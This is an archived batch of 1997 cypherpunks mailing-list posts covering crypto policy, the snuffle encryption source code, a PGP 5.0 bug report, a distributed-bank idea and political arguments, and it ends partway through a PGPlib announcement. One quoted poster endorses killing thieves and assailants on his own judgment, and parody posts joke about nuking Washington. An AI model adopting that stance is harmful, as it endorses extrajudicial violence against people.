From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 27 Aug 1997 07:21:13 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
Message-ID: <4658230701dd4fd97f57a5ed14644a38@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



At 12:31 PM 8/26/97 PDT,"John Smith" wrote:
|"William H. Geiger III" <whgiii@amaranth.com>:
|
|>>You stole from me.
|>>*BANG*
|>
|>yep
|>
|>>You raped my sister
|>>*BANG*
|>
|>yep
|>
|>As is the first two cases the "criminal" has violated my property &
|>family. Such crimes are worthy of immediate death. You steal, you 
|>assault
|>or threaten me or my family you have committed suicide.
|>
|>It is a quite simple and effective philosophy: 
|>
|>"You fuck with me, my family, or my property you die. You leave me 
|>alone
|>and I leave you alone."
|>
|>Even someone like you can understand such a philosophy.
|
|Well, I can't.  It's very confusing.  Are there judges in your
|philosophy, or do you just decide for yourself who to shoot?
|
|"You walked on my property."  BANG.
|
|"Your music kept me awake all night."  BANG.
|
|"I warned you to cut that tree down, and now it fell on my house."
|BANG.
|
|
|Or how about escalation:
|
|"You raped my daughter"
|
|"No way, she wanted it as much as I did"
|
|"That's not what she tells me.  You die."  BANG.
|
|
|"You shot my son"
|
|"Bullshit, he had it coming after what he did to my daughter."
|
|"Bullshit yourself."  BANG.
|
|
|"You shot my pa"
|
|"He shot my son"
|
|"You're gonna die."  "I'm taking you with me then."  BANG.  BANG.
|
|BANG.  BANG.  BANG.  BANG.  BANG.  BANG.  BANG.
|
|
|You know, there's a reason people started using judges to help
|settle disputes.  There's a reason the common law evolved with the
|idea of proportionate response and restitution.  This kind of
|shoot-everybody-I-think-harmed-me approach just doesn't work.
|Nobody knows what someone else will consider harm worth shooting
|over.  If somebody disagrees that a shooting was justified, they'll
|shoot back, and feuds begin.
|
|The current system stinks, but your idea is no better.
|
|"John

Dear John,

BANG!

BangMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "luciana luciana" <azwsxq@hotmail.com>
Date: Wed, 27 Aug 1997 12:51:42 +0800
To: cypherpunks@toad.com
Subject: How tO MutAte anD TaKE OVer tHe WOrld
Message-ID: <19970827043758.22153.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



I'm very interested on that.
could u let me know anything else?


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex Le Heux <alexlh@xs4all.nl>
Date: Wed, 27 Aug 1997 04:04:30 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Welfare Solution #389
In-Reply-To: <34029a0f.55426630@smtp.xs4all.nl>
Message-ID: <3.0.3.32.19970826220410.007e1cd0@mail.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 06:32 8/26/97 -0400, you wrote:

[...]

>>It's this attitude that creates most of the drug 'problem' for 
society.
>>It's not the drugs. People can function fine while enjoying their 
hits of
>>beer, weed, coke or whatever. It's the ciminalisation of some drugs 
and
>>the attitude of people like William H. Geiger III that make the 
drug user
>>outcasts from society.
>
>You are making unfounded assumptions of my position on drug use.
>
I see that I did. No problem, plenty of new stuff here to keep the 
argument going...

>I really could care less about someone who uses drugs on a 
recreational
>basis and is able to buy his drugs with his/her/its *own* money. I 
think
>it is a total waste for those who prefer to spend their life 
drooling in a
>corner with a needle in their arm and/or crack pipe in their hand. 
Even so
>if they or their families are wealthy enough to support this 
behavior more
>power to them.
>
>What I strongly object to is my hard earned $$$ being stolen from me 
to
>support this behavior either in the form of taxes spent on Welfare & 
SS or
>(for the more ambitious junkie) stolen/robbed directly.
>
>As a Libertarian I am all for the legalization of drugs. Our current
>politicians seem incapable of learning from the past that 
prohibition
>never works and causes more problems than it solves (Econmics 101 
supply &
>demand).
>
I suppose you believe that a drug addict has no one to blame but 
himself, and that he should take _all_ of the blame. I don't. They 
certainly deserve some credit for the mess they're in, but not 
entirely. Bad luck has a lot to do with it as well. Just like getting 
blown off a cliff by the wind. You shouldn't have been there, you 
should have been strong enough not be blown off, etc....

Also, it being the druggie's fault or not, treating him as an outcast 
is not going to solve the problem. It'll only make it worse. For him, 
and for the rest of us.

What works much better is treating his addiction more like a disease. 
This is what we do in The Netherlands. We have few junkies living in 
the street, rarely does a granny get her head blown off for a nickle 
and a dime. Also the mortality rate under the junkies is very low, 
although I suspect you don't see that as a good thing.

The 'drug problem' as it exists in most places in this world is the 
result of the mindboggeling numbers of people living in tiny spaces. 
It is a problem of us all, so the bill ends up with us all.

Procecuting the addict only serves to drive up that bill. Killing him 
is certainly the cheap option, but a healthy society takes care of 
it's members, even if they mess up so spectacularly. Several 
programs, in The Netherlands and Switzerland and probably other 
places, have shown that by far the cheapest and least painful 
solution for all is just to give the man his drugs. In fact, 
Switzerland is doing just that with it's heroin addicts. As it turns 
out most of them get some sort of life back together, a lot even 
manage to get and hold jobs and thus become productive citizens 
dispite their addiction.
>I also believe, as a Libertarian, that I have the "GOD given right" 
to
>defend myself, my family, and my property, with deadly force if 
needed
>(and I am the one who gets to decide when such force is needed not 
some
>bureaucrat in DC).
>

Alex
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNAMoqtuYAh4dUSo/EQK4agCggmF6hyfTkoR8hkEF6Lq7hPP15M0AoKC0
514gFnHTR2QkDuIXFF41S3Q1
=aK4Q
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 27 Aug 1997 13:48:54 +0800
To: cypherpunks@toad.com
Subject: SF Bay Area D-H patent party?
Message-ID: <3.0.2.32.19970826223336.006fa440@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Who in the SF Bay Area plans to throw a party in honor of the upcoming
expiration of the Diffie-Hellman patent? Several people had mentioned in
the past they might do so. [Some of your are bcc'ed]. The patent will
expire just a few weeks from now.

Anybody?

Thanks,

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 27 Aug 1997 07:16:22 +0800
To: hua@chromatic.com
Subject: Re: need confirmation of DVD/CSS crack in China ...
In-Reply-To: <199708261758.KAA25147@ohio.chromatic.com>
Message-ID: <199708262203.XAA00906@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Ernest Hua <hua@chromatic.com> writes:

> [snip]

Don't know if it's true but this ...

Ern's forwarded text:
> > Third, the entertainment industry giants will have to improve and
> > agree on an encryption technology. The current 40-bit encryption
> > standard used on DVD discs, which is supposed to stop copyright
> > pirates, has already been cracked in China.

40 bit encryption obvious that can be broken...

> > Stronger encryption, however, forces PCs and players to run at a
> > crawl. 

This sounds wrong to me.  Many strong ciphers run just as fast if not
faster than weak ciphers.  Eg 128 bit RC4 runs at the exact same speed
as 40 bit RC4.  IDEA & CAST are pretty fast, etc.

> > Partially as a result, Fox, Paramount, and Disney have not committed
> > to producing materials on DVD, Burdon noted.

DVD with stupid copy protection is bad anyway.  Copright police are
getting too much influence.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 27 Aug 1997 07:19:34 +0800
To: jya@pipeline.com
Subject: snuffle.c (was Re: Reuter on Bernstein Ruling)
In-Reply-To: <1.5.4.32.19970826160822.006e89a4@pop.pipeline.com>
Message-ID: <199708262215.XAA01021@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




snuffle and unsnuffle are only 64 lines each... so here they are.  You
need snefru also (snuffle for those not following is a construction to
convert a hash function into an encryption function ... Bernstein's
example is set up to use snefru ... a hash function).

Hash function seem be generally exportable, though they are several
constructs which allow you to convert a hash function into an
encryption function, so it's not too clear why they should be exempt.

Probably one reason is that hash functions are used to create and
check signatures, and signature checking and making code
(authentication only) also seems to be allowed for export.

I expect you could come up with some creative ways of using
authentication systems to provide encryption too.

We've already got an MD5 and SHA1 in perl, now all we need is a nice
small implementation (probably in perl) of the below which can be used
for a .sig :-)

So I guess you guys are now allowed to talk about snuffle
implementation and it's design... any comments/reposts etc?

Shall we reimplement it in perl?

Adam

== snuffle.c =================8<==============================
#include <stdio.h>
#include "snefru.h"

#define NMAX 10000

main(argc,argv)
int argc;
char *argv[];
{
 register int ch;
 static unsigned char x[NMAX];
 register unsigned char y = 0;
 static unsigned char h[NMAX];
 static unsigned char m[32];
 static unsigned char l[64];
 static unsigned char k[64];
 register int n = 64;
 register int i;
 register WORD32 *wm = &m[0];
 register WORD32 *wl = &l[0];
 register int level = 3;

 SetupHash512();

 for (i = 0;i < 64;i++)
   x[i] = k[i] = h[i] = 0;
   /* What matters is x[9...63], y, k[0...63], h[0...63]. */

 i = 0;
 while (((ch = getchar()) != EOF) && (ch != '\n'))
   if (i < 64)
     k[i++] = (unsigned char) ch;
   else if (i < 119)
     x[i++ - 55] = (unsigned char) ch;
 if (argv[1])
   for (i = 0;argv[1][i] && (i < 64);i++)
     h[i] = argv[1][i];

 while ((ch = getchar()) != EOF)
  {
   if (!(n & 31))
    {
     for (i = 0;i < 64;i++)
       l[i] = k[i] ^ h[n - 64 + i];
     Hash512(wm,wl,level,8);
    }

   x[n] = x[n - 24] + x[n - 55] + ((unsigned char) ch);
   h[n] = x[n] + m[n & 31];
   y += h[n];
   (void) putchar((char) y);

   n++;
   if (n == NMAX)
    {
     for (i = 0;i < 64;i++)
      {
       x[(n & 31) + i] = x[n - 64 + i];
       h[(n & 31) + i] = h[n - 64 + i];
      }
     n = (NMAX & 31) + 64;
    }
  }
}
==============================8<==============================

= unsnuffl.c =================8<==============================
#include <stdio.h>
#include "snefru.h"

#define NMAX 10000

main(argc,argv)
int argc;
char *argv[];
{
 register int ch;
 static unsigned char x[NMAX];
 register unsigned char y = 0;
 static unsigned char h[NMAX];
 static unsigned char m[32];
 static unsigned char l[64];
 static unsigned char k[64];
 register int n = 64;
 register int i;
 register WORD32 *wm = &m[0];
 register WORD32 *wl = &l[0];
 register int level = 3;

 SetupHash512();

 for (i = 0;i < 64;i++)
   x[i] = k[i] = h[i] = 0;
   /* What matters is x[9...63], y, k[0...63], h[0...63]. */

 i = 0;
 while (((ch = getchar()) != EOF) && (ch != '\n'))
   if (i < 64)
     k[i++] = (unsigned char) ch;
   else if (i < 119)
     x[i++ - 55] = (unsigned char) ch;
 if (argv[1])
   for (i = 0;argv[1][i] && (i < 64);i++)
     h[i] = argv[1][i];

 while ((ch = getchar()) != EOF)
  {
   if (!(n & 31))
    {
     for (i = 0;i < 64;i++)
       l[i] = k[i] ^ h[n - 64 + i];
     Hash512(wm,wl,level,8);
    }

   h[n] = ch - y;
   y = ch;
   x[n] = h[n] - m[n & 31];
   (void) putchar((char) (x[n] - x[n - 24] - x[n - 55]));

   n++;
   if (n == NMAX)
    {
     for (i = 0;i < 64;i++)
      {
       x[(n & 31) + i] = x[n - 64 + i];
       h[(n & 31) + i] = h[n - 64 + i];
      }
     n = (NMAX & 31) + 64;
    }
  }
}
==============================8<==============================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 27 Aug 1997 15:01:03 +0800
To: cypherpunks@Algebra.COM
Subject: Re: heart
In-Reply-To: <199708211706.TAA00218@xs1.xs4all.nl>
Message-ID: <19970826235533.15022@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Aug 25, 1997 at 02:20:33PM -0700, Tim May wrote:
> And I think that most of what passes for "help" actually does more harm
> than good, at least in the longterm.

There is no doubt that sometimes "help" does more harm than good. 
There is also no doubt that sometimes help does more good than harm.  
Platitudes like these don't really give one much real guidance.

> For example, sending food aid to Third World countries sounds noble and
> good. But most studies show the real effect of such aid: it destroys the
> local infrastructure of food production and distribution. (Imagine being a
> poor Somali farmer bringing your grain to market, and seeing tons of U.S.
> grain being distributed freely...it wipes that farmer out, and his future
> years of production are gone, even after the U.S. food aid is also gone.)

So the farmer can die of starvation later rather than earlier.  The
problem is not with help, per se -- it's with the specifics of how the
help is implemented.  What do you think the farmer would chose -- get
some food now, and take his chances with his food production at a
later time, or die of starvation immediately?

A current case is North Korea.  Of course if you give them food it
will help perpetuate an evil government.  On the other hand, if you
don't give them food, lot's and lot's of people would die.  Tim's
answer is that you might as well let them die, rather than perpetuate
the government that enslaves them.  Others aren't quite as 
cold-blooded as Tim.

> For example, the welfare system. Who can argue that it produces persons
> unable or unwilling to take the available jobs, mostly at or near minimum
> wage? When a welfare mother of two or more children can collect the total
> equivalent (direct payments, food coupons, tax exemptions, day care) of $15
> an hour, it would  be foolish for her to apply for a job at Burger King for
> $6.35 an hour, and then have to pay almost that amount to put her kids in
> some day care center. The longer she is out of the job market, the worse it
> gets.

The welfare system obviously has all kinds of problems.  It's not 
easy giving help without creating dependency.  That doesn't mean it 
can't be done.

> For example, saving people from their bad choices in life. When we force
> insurers to cover those who do stupid, formerly uninsurable things, or when
> we force the providers of legally and freely-chose substances (tobacco,
> hamburger, guns, breast implants, rock climbing equipment, etc.) to pay for
> the stupid actions of others, even if only imagined, costs rise and choices
> narrow.

Yep.  I don't see this as the same category of trying to help people, 
though.  Rather, I think this example points out the end result of 
our adversarial legal system.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 27 Aug 1997 15:17:29 +0800
To: cypherpunks@toad.com
Subject: Re: snuffle.c (was Re: Reuter on Bernstein Ruling)
In-Reply-To: <1.5.4.32.19970826160822.006e89a4@pop.pipeline.com>
Message-ID: <19970827000107.12109@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Aug 26, 1997 at 11:15:28PM +0100, Adam Back wrote:
> 
> snuffle and unsnuffle are only 64 lines each... so here they are.  You
> need snefru also (snuffle for those not following is a construction to
> convert a hash function into an encryption function ... Bernstein's
> example is set up to use snefru ... a hash function).
[...]
> 
> Shall we reimplement it in perl?

I'm sure you would enjoy the exercise.  However, I think it will 
probably sound better in C :-)  [ftp://songbird.com/pub/snuffle.mid 
-- I may build up a collection of these...]

> Adam

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 27 Aug 1997 07:07:31 +0800
To: cypherpunks@cyberpass.net
Subject: distributed virtual bank
Message-ID: <199708262301.AAA01111@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




An application I have put a bit of thought into is the idea of
creating a distributed banking system.  That is not offline, but not a
single centralised trusted bank either.  Ideally it is a system where
all nodes are equivalent, and k of n of those nodes have to collude
before they can compromise the operation of the bank.

This is related to the encrypted computation idea where I can ask you
to perform a computation for me, but you won't know the operands, and
I can recover the answer with a final transformation.  There are a few
such protocols around to compute certain functions.

This would be a distributed system, the nodes in the network would be
able to simulate a virtual CPU by exchanging messages and computing
encrypted functions.  The program you run on the virtual CPU is the
bank software.

One approach would be to simulate the CPU by using the exchange of
encrypted communications to simulate circuit functions in the CPU.
Hopefully there would be more efficient methods of performing this
securely distributed computation.

People would trust the bank by virtue of their belief that it would be
too difficult for an attacker to compromise or acheive sufficent
collusion to overcome the n of k threshold.

The bank would live in the network in this virtual CPU.  Individual
nodes may come and go, yet the secured software entity which is the
bank and it's account information would live on.

Comments on how feasible it would be to design such a system with
current crypto techniques?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 27 Aug 1997 15:34:45 +0800
To: cypherpunks@Algebra.COM
Subject: Le Monde: "Militant Cypherpunks liberate crypto software"
Message-ID: <3.0.2.32.19970827001900.00698280@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



I am not making this up. Le Monde, a major French newspaper, discovered
that "militant" Cypherpunks aid in the spread of crypto :-) In all
fairness, the article is rather favorable. [Available in French only].

http://www.lemonde.fr/multimedia/sem3397/textes/act33971.html



--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick Oonk <patrick@atro.pine.nl>
Date: Wed, 27 Aug 1997 06:34:13 +0800
To: cypherpunks@toad.com
Subject: BoS: Bug bugs privacy file but a fix is on the way (fwd)
Message-ID: <199708262220.AAA14473@atro.pine.nl>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:
>From best-of-security-request@cyber.com.au  Tue Aug 26 08:30:06 1997
Resent-Date: Tue, 26 Aug 1997 16:16:35 +1000 (EST)
From: darrenr@melb.convergent.com.au (Darren Reed)
Message-Id: <199708260343.NAA08202@duchess.melb.arcsystems.com.au>
Date: Tue, 26 Aug 1997 13:43:37 +1000 (EST)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: darrenr@cyber.com.au
Old-Status: O
Resent-Message-ID: <"kYO8a.A.IkC.-PmA0"@plum>
X-Loop: best-of-security@cyber.com.au
Errors-To: best-of-security-request@cyber.com.au
Precedence: list
Resent-Sender: best-of-security-request@cyber.com.au
To: best-of-security@cyber.com.au
Resent-From: best-of-security@cyber.com.au
X-OS: FreeBSD3.0-current
X-Mailing-List: <best-of-security@cyber.com.au> ftp://ftp.cyber.com.au/pub/archive/b-o-s/
X-Subscription: To unsubscribe from this fine mailing list mail best-of-security-request@cyber.com.au with Subject: unsubscribe
Subject: BoS: Bug bugs privacy file but a fix is on the way



A "flaw" in the encryption program PGP 5.0 was reported to the Australian
security organisation AusCERT lat week, and a recommended fix was issued
later in the week.
  Security consultant Paul Drake, an expatriate Australian working for a
company called NetSafe, said he had discovered a bug that menat PGP 5.0
(for "Pretty Good Privacy") kept passwords in memory "at all times", as
well as part of the text of whatever had been encrypted.  The keyfile was
also being kept in a relatively insecure file, he said.
  AusCERT confirmed the problem had been reported and said they were
investigating.
  PGP advocate peter Moon, who is pushing for wider use of the software
in Australia, said while the problems pointed out by Drake were "valid",
they were more weak points than "bugs".
  "The PGP encrpytion algorithm is - as anyone knows - as solid as a rock.
The attacks are all based on the principal that if you want to break into
the strongest box in the world, the easiest way is to pinch thekey."
  He said a product called bcwipe could clear the saved information and the
keyfile should probably be deleted altogether.
  Drake said PGP, a United States-based company, would release "PGP 5.01"
without the problem.

-- Jenny Sinclair, Page D4, The Age, Tuesday 26 August 1997




-- 
| Patrick Oonk -    http://patrick.mypage.org/  - patrick@pine.nl |
| PGP Key ID 0xDA2E93FA   -   Internic PO59   -   <clicketyclick> |
| Pine Internet B.V.           Consultancy, installatie en beheer |
| Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/ |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 27 Aug 1997 15:28:04 +0800
To: cypherpunks@cyberpass.net
Subject: Re: unruly cult members
In-Reply-To: <199708250745.JAA08647@basement.replay.com>
Message-ID: <19970827002203.43137@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Aug 25, 1997 at 09:45:06AM +0200, Name Withheld by Request wrote:
> Would cult members kindly stop bickering and straying from the party
> line?
> 
> All this argument questioning sacred dogma is anti-cypherpunk, and
> clearly bought on by failure to recite the daily mantra:
> 
>  "Krispin-hare-hare-krispin government is evil
>   Krispin-hare-hare-krispin nuke washington DC
>   Krispin-hare-hare-krispin gun down graffiti kids
>   Krispin-hare-hare-krispin sterelize the proles"
> 
> You're becoming so unpredictable, this is sacrilege, cult members
> are supposed to unquestioningly follow sacred dogma.
> 
> Hare-Krispin

The most amusing thing about this whole cult idea is how certain
puppets dutifully stood up and reported how different they are from
each other. 

KJ Krispinurthi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 27 Aug 1997 15:35:55 +0800
To: cypherpunks@Algebra.COM
Subject: Cypherpunks party videos
Message-ID: <3.0.2.32.19970827002823.006bf574@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Good stuff from HIP keeps trickling in. See Brian the HIP brain. Witness
Cypherpunks dancing. Watch your's truly as a DJ.

http://www.ito.com/mpeg/hip/


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend+cypherpunks@sten.tivoli.com>
Date: Wed, 27 Aug 1997 13:47:40 +0800
To: cypherpunks@ssz.com
Subject: Re: lack of evolutionary pressures (was Re: An end to "court   (fwd)
In-Reply-To: <3.0.2.32.19970823171955.0077e9b0@popd.ix.netcom.com>
Message-ID: <vpvi0sw5a1.fsf@sten.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>>>>> Bill Stewart writes:

BS> Y'all appear to be violently agreeing on that point.

	Violent agreement is fun.  Jim and I frighten our co-workers
frequently with our violent agreement.

- -- 
#include <disclaimer.h>                               /* Sten Drescher */
Unsolicited bulk email will be stored and handled for a US$500/KB fee.
It is by caffeine alone I set my mind in motion, it is by the beans of
Java that thoughts acquire speed, the hands acquire shaking, the
shaking becomes a warning, it is by caffeine alone I set my mind in
motion. -- Carlos Nunes-Ueno, 3/29/95

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

iQBVAwUBNAO+RvCBWKvC9LiRAQFxfQH/ckNG0qnzdNvWnG9Cqtg2bzOisni7xbKZ
o6vHvGgDMLr5RpzOwa5vm92+8gaisYXCzTFxJfao4EOL9cAsVPHqBw==
=00wa
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Wed, 27 Aug 1997 13:58:53 +0800
To: cypherpunks@toad.com
Subject: No. 8 / Re: Top 10 Ways to Make a Grouchy Old CypherPunk Smile
Message-ID: <6xLav+KSu2owdNx5sSaw+g==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Top 10 Ways to Make a Grouchy Old CypherPunk Smile
--------------------------------------------------
#10) Find his shoes for him.

#9) Buy Kent Crispin a Dr. Kevorkian gift-certificate.

#8) Lock.

#7)

#6)

#5)

#4)

#3)

#2)

#1) [This space reserved for T.C. May]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Wed, 27 Aug 1997 23:35:55 +0800
To: luciana luciana <azwsxq@hotmail.com>
Subject: Re: How tO MutAte anD TaKE OVer tHe WOrld
In-Reply-To: <19970827043758.22153.qmail@hotmail.com>
Message-ID: <Pine.LNX.3.95.970827082121.19067D-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 26 Aug 1997, luciana luciana wrote:

> I'm very interested on that.
> could u let me know anything else?

I picked up a copy of the book a while back.

Some of the sidenotes and off-storyline events are interesting and mildly
humorous.  The ending was incredibly unbelievable and anti-climatic.  (The
tacked on end-of-the-end was just plain stupid.)  The main characters
spend little time involved with the revolution they claim to be bringing
about.

It does make mention of the Cypherpunks.  (One of the authors was involved
in the very beginning, but I have not seen her post here any time in my
memory.  (She claims to have coined the term "Cypherpunk".))

If you want Cyberpunk/Cypherpunk fiction, there are much better choices.
Neal Stephenson (sp?) is a good choice.  ("Snow Crash" and the short story
"Hacking the Spew" are two of my favorites from him.)

If you do get "How to mutate...", wait until it comes out in paperback.
Then you won't feel as cheated as I did when i finished the book.

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 27 Aug 1997 22:18:33 +0800
To: cypherpunks@toad.com
Subject: Monkey Wrench into the works
Message-ID: <v03110726b029da192aa1@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Reply-To: "Myron Lewis" <mrlewis@keygen.com>
From: "Myron Lewis" <mrlewis@keygen.com>
To: "Robert Hettinga" <rah@shipwright.com>
Subject: Monkey Wrench into the works
Date: Tue, 26 Aug 1997 22:25:55 -0400
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
X-MimeOle: Produced By Microsoft MimeOLE Engine V4.71.1008.3

We communicated today about the DCSB luncheon at the Harvard Club and I have
been looking at some of the e$pam traffic.  I am somewhat amused because our
company is about to throw a monstrous perturbation into Public-Private Key
encryption.

We invite you and everyone on the list (Please send this invitation out to
them as the info on how to do that didn't come through.) to visit the KeyGen
webpage, www.KeyGen.com and learn about Automatic Synchronized
KeyGeneration(TM).  If you think you recognize it as something you have seen
before, you're close but wrong.

We are obviously biased, but we feel strongly and so do many others, that
ASK will solve many of the security problems presently under discussion.  In
time, it will probably sink Key Management and Certificate Authorities.

We welcome everyone's comments as long as they keep an open mind and don't
feel cemented in to key management.

I would like to respond to your request for speakers and offer to speak at
one of the luncheons about Automatic Synchronized KeyGeneration.

Regards,

Myron Lewis
President
KeyGen Corporation
The Key to Secure Communications

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 27 Aug 1997 22:23:29 +0800
To: cypherpunks@toad.com
Subject: PGPlib-0.3 is available
Message-ID: <v0311072bb029db53745d@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


To: pgplib-announce@cryp.to
Subject: PGPlib-0.3 is available
Date: Wed, 27 Aug 1997 11:10:03 +0200
From: Tage Stabell-Kulo <tage@ACM.org>
Reply-To: tage@acm.org
Sender: pgplib-announce-owner@cryp.to
Precedence: list



-----BEGIN PGP SIGNED MESSAGE-----


This mail is sent on the list pgplib-announce@cryp.to.  It is a (very)
low voulme list where announcments are made when new versions of
PGPlib becomes available.  Please find below a copy of the file README
distributed with this new release.  Instructions on how to obtain your
own copy of PGPlib is included.

===

Welcome to version 0.3 of PGPlib.  This code has not yet matured
enough to reach version 1.0.  However, this is probably the latest
development version before 1.0.  Detailed instructions for how to
obtain this fine code can be found at the end.  Experienced users will
know that ftp://dslab1.cs.uit.no/pub/PGPlib.tar.gz is the place to
look.


What is here for you
=====================

PGPlib is a library that lets you generate (and manipulate) PGP
packets without having to run PGP.  In particular there is code to
generate and understand the following types of PGP packets:

   - Data can be signed with a private key;
   - Data can be encrypted with a public key;
   - Data encrypted with your public key can be decrypted;
   - You can verify signatures on public keys and on buffers (files);
   - Convential encrypted (IDEA with Zimmermann's context sensitive
     feedback).  The library can both read (decrypt) and write
     (encrypt) convential packets (in PGP format);
   - Armor.  You can (de)armor a buffer or a file into a buffer or a
     file;
   - UserID packets are read and written in a variety of formats;
   - Literal with filename, mode, etc.  You can create literate
     packages from files, or from buffers, and create files from
     literate packets;
   - Keys can be obtained from a database (which is provided) or by
     parsing keyrings.  Keys can be kept in buffers or on files;
   - You can maintain a PGP public-key database (I use this library to
     maintain a database with ~40.000 keys).  There is code to use DBM
     as supplied from Berkeley.  A copy of DBM is included for your
     convinience.

In general, PGPlib operates on buffers in order for you to use it in
your applications.

You will find included a small program that will (de)armor anything, a
parser to parse PGP files (including decryption and so on), a shell to
manipulate a keydatabase, a keyserver to run on top of such a
database, a program to verify signatures on keys and/or files, a
program to split keyrings in smaller parts and a program that will
sign files for you.  You will find all these (and more) in the
PGPlib/applications/ directory.  None of these uses PGP, the library
provides all the functionality you need.


What is not there for you
=========================

   - Sufficient documentation.

I have written this library because I need it.  In order to make life
less hard for my students, I will have to provide some documentation.
Possibly even on-line.  However, quite a few manual pages are
included.


What you need
=============

   - Unix (for some definition of "Unix").

   - You must have the SSLeay library as I have not implemented any
